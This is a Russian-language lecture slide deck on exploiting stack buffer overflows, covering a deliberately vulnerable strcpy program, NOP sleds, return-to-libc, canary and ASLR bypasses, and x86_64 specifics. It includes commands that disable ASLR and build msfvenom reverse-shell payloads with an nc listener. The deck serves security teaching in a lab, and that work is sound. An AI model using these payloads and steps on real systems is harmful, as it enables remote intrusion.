Эксплуатация уязвимостей на переполнение буфера в стеке

Игорь Черватюк

Александр Трифанов

Андрей Басарыгин

Москва, 2018

Почему оно возможно?

Адреса	Содержимое
0xfffff10a	data
0xfffff10e	Тут может быть свободное место для выравнивания
0xfffff112	Ret to func()
0xfffff116	Func args
0xfffff11a	Ret to main()
	…

```
void func(int a){
        return func2();
}
void func2(){
        char data[512];
        strcpy(data,argv[1]);
        return 0;
}
int main(){
        func(1);
}
```

Если строка argv[1] больше 512 байт?

Адреса	Содержимое
0xfffff10a	data
0xfffff10e	data
0xfffff112	**data**
0xfffff116	Func args
0xfffff11a	Ret to main()
	…

```
void func(int a){
        return func2();
}
void func2(){
        char data[512];
        strcpy(data,argv[1]);
        return 0;
}
int main(){
        func(1);
}
```

Если строка argv[1] больше 512 байт?

Адреса	Содержимое
0xfffff10a	data
0xfffff10e	data
0xfffff112	**данные будут помещены в EIP**
0xfffff116	Func args
0xfffff11a	Ret to main()
	…

```
void func(int a){
        return func2();
}
void func2(){
        char data[512];
        strcpy(data,argv[1]);
        return 0;
}
int main(){
        func(1);
}
```

Стандартная схема эксплуатации

- В буфер записывается:
  - NOP последовательность (нужной длины, чтобы переписать EIP)
  - Эксплойт
  - Адрес начала/середины NOP-последовательности
- Адрес можно посмотреть в отладчике
- Длину вычисляем с помощью pattern_create и pattern_offset
- Создавать эксплойт удобно через msfvenom
- Важно помнить, про плохие символы

Файл vuln1_x86_vanilla

- echo 0 > /proc/sys/kernel/randomize_va_space
- gcc -m32 -fno-stack-protector -z execstack –no-pie vuln.cpp –o vuln1_x86_vanilla
- msfvenom -a 86 --platform linux -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<LPORT> -f python -b ‘\x00‘
- IP – адрес компьютера на котором будет запущен listener
- Команда слева очень важная, она отключает ASLR в Linux
- Для компиляции нужны 32 битные библиотеки
- Можно просто скачать с нашего Github☺
- В отдельной консоли откроем listener:
  - nc –lvp 443

Файл vuln1_x86_vanilla.exe

- gcc -m32 -fno-stack-protector -z execstack –no-pie vuln.cpp –o vuln1_x86_vanilla
- msfvenom -a 86 --platform windows -p windows/x86/shell_reverse_tcp LHOST=<IP> LPORT=<LPORT> -f python -b ‘\x00‘
- IP – адрес компьютера на котором будет запущен listener
- В Windows отключить ASLR **нельзя**.
- Но можно скомпилировать программу без его поддержки☺
- В отдельной консоли (на машине с Кали) откроем listener:
  - nc –lvp 443

Если стек защищён от выполнения?

- В буфер записывается:
  - Мусор (нужной длины, чтобы переписать EIP)
  - Аргументы функции (например “/bin/bash”)
  - Адрес функции (например system)
  - Адрес функции exit
  - Адрес аргумента функции system
- Адрес можно посмотреть в отладчике
- Длину вычисляем с помощью pattern_create и pattern_offset

Если включены стековые канарейки?

- В буфер записывается:
  - NOP последовательность (нужной длины, чтобы переписать EIP)
  - Эксплойт
  - Адрес начала/середины NOP-последовательности
  - **Адрес инструкций pop, pop, ret**

- Адрес можно посмотреть в отладчике
- Длину вычисляем с помощью pattern_create и pattern_offset
- Создавать эксплойт удобно через msfvenom
- Важно помнить, про плохие символы

Если есть ASLR?

- Вариант 1:
  - Возможно программа не поддерживает ASLR
- Вариант 2:
  - Возможно один из модулей (dll) не поддерживает ASLR
- Вариант 3:
  - ASLR имеет недостаточно энтропии и достаточно частичной перезаписи последних 2х байт адреса
- Вариант 4:
  - Если везде есть ASLR (мы медленно к этому идём)
  - Понадобится ещё одна уязвимость – InfoLeak

- Адрес можно посмотреть в отладчике
- Длину вычисляем с помощью pattern_create и pattern_offset
- Создавать эксплойт удобно через msfvenom
- Важно помнить, про плохие символы

Дьявол кроется в деталях… Нужно многое учитывать

- Кроме адреса возврата в стеке ещё есть другие переменные
  - Если шеллкод окажется на месте этих переменных – он будет повреждён
- Регистры rsp и rbp могут указывать на шеллкод
  - Шеллкод может повредить себя вызвав инструкцию push

Demo time

Архитектура x86_64 и её особенности

- Для AMD: «Physical address space increased to 48 bits.»
  - http://developer.amd.com/wordpress/media/2012/10/31116.pdf
- В более старых моделях было 42 бита под адрес (0x000003FFFFFFFFFF)
- Также существуют ограничения операционных систем https://msdn.microsoft.com/en-us/library/windows/desktop/aa366778(v=vs.85).aspx

- Итого для Windows 10 (кроме Home):
- Минимальный адрес:
  - 0x0000000000000000
- Максимальный адрес:
  - 0x000001FFFFFFFFFF

Нельзя просто так взять и переписать RIP

- При переполнении нужно исследовать вершину стека, чтобы узнать какими символами **мог быть** переписан адрес возврата
- Переписывать нужно только 6 байт адреса
- Проблемы с записью нуля не возникнет, т.к. корректный адрес уже содержит 2 нулевых байта:

  0x0000????????????

Соглашения о вызове (Calling conventions)

Windows __fastcall

- Целые числа (или указатели) передаются в регистрах RCX, RDX, R8 и R9. Дробные в регистрах XMM0L, XMM1L, XMM2L и XMM3L. Остальные параметры – через стек.
- https://msdn.microsoft.com/en-us/library/ms235286.aspx

Linux

- Пользовательский уровень: rdi, rsi, rdx, rcx, r8 и r9.
- Уровень ядра: rdi, rsi, rdx, r10, r8 и r9.
- Остальные параметры – через стек.
- http://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf

Стек используется не так активно

Стек используется не так активно

- Благодаря этому архитектуру x86_64 проще* эксплуатировать
- *Проще только в этом, остальное сложнее.

Если нужно переписать два адреса – это труднее сделать.

- Можно переписать RIP корректно, но в RBP через стек нулевые байты не записать.
- Вариант обхода – будет в практике

Адреса	Содержимое
0x00001fffffffff10a	Data
0x00001fffffffff112	RBP
0x00001fffffffff11a	RIP

Demo time

Домашнее задание

- Попытаться проэксплуатировать vuln1_x86_vanilla.exe и vuln1_x64_vanilla.exe
  - Подход сохраняется аналогичный эксплуатации под Windows
  - Программы немного отличаются от тех, что эксплуатировались в примерах – будьте внимательны.

Полезные ссылки

- https://exploit-exercises.com/protostar/ Простые упражнения на эксплуатацию уязвимостей
- https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
- https://github.com/longld/peda
- Очень полезный онлайн ассемблер https://defuse.ca/online-x86-assembler.htm

Вопросы?

Игорь Черватюк

Александр Трифанов

Андрей Басарыгин

Москва, 2018